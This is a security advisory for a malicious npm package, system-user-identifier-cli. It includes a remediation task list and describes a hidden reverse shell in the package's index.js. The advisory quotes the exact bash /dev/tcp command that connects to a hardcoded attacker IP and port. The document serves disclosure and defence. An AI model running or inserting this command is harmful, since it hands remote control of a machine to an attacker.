MAL-2026-4679 Malicious code in system-user-identifier-cli (npm)
Malicious package
Published
MAL-2026-4679 is a malicious package: system-user-identifier-cli (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-4679/ (Markdown: https://insights.sbomify.com/MAL-2026-4679/index.md)
- Package
- system-user-identifier-cli
- Registry
- npm
What is MAL-2026-4679?
MAL-2026-4679 is a malicious package in system-user-identifier-cli, published on 25 May 2026.
Official description
index.js line 13 executes
bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1" via child_process.exec, opening an interactive reverse shell to the hardcoded attacker-controlled host 101.43.232.7 on TCP port 7777. The shell fires whenever the package's entrypoint is invoked (e.g. npx system-user-identifier-cli or require of the module), giving the operator of that endpoint full interactive control of the installer's machine under the user that ran the tool. The package advertises itself as a trivial 'check system user identifier' utility and ships placeholder author metadata ('Your Name'); the reverse shell is undocumented and inconsistent with the stated purpose. There is no benign interpretation of a hardcoded /dev/tcp/<ip>/<port> bash redirector pointed at an arbitrary public IP.What should I do about MAL-2026-4679?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.